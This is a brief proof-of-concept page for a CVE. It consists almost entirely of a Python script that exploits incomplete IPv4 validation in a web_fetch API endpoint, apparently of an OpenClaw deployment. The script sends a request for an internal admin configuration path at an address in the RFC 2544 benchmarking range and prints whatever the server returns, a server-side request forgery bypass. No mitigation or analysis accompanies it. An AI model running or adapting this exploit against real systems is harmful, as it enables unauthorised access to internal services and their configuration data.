CVE-2026-32019

# Proof of Concept for CVE-2026-32019 # This script demonstrates bypassing the incomplete IPv4 validation # by targeting the 198.18.0.0/15 range (RFC 2544). import requests target_url = "http://vulnerable-openclaw-instance/api/web_fetch" # Use an IP from the RFC 2544 benchmarking range banned_ip = "198.18.0.1" payload = { "url": f"http://{banned_ip}/admin/config" } try: response = requests.post(target_url, json=payload) if response.status_code == 200: print("[+] SSRF bypass successful! Response received:") print(response.text) else: print("[-] Request failed.") except Exception as e: print(f"Error: {e}")
